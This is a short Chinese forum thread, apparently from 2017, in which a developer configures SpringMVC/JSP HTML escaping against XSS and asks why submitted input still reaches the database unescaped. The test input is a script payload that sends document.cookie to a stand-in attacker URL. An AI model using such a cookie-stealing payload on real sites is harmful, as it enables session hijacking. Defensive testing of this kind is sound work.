这是一个创建于 2572 天前的主题，其中的信息可能已经有所发展或是发生改变。
项目用的是 SpringMVC+jsp
想要对提交表格的内容进行字符转义防止 XSS 攻击
根据 http://www.codeweblog.com/spring-mvc-%E5%AE%89%E5%85%A8/
做处理，下面三条都做了
1)web.xml 中添加
<context-param> <param-name>defaultHtmlEscape</param-name> <param-value>true</param-value> </context-param>
2)在包含 form 的 jsp 页面中添加
<spring:htmlEscape defaultHtmlEscape="true" />
3 ）直接在 form 中的元素中添加
<form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true">
然后在表格上添加
<script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>发现存进数据库的没有转移，依然是原文
怎么回事啊？
1 条回复 • 2017-11-28 21:51:45 +08:00
 |
1
kenduffy OP 顶顶顶
|
Select Language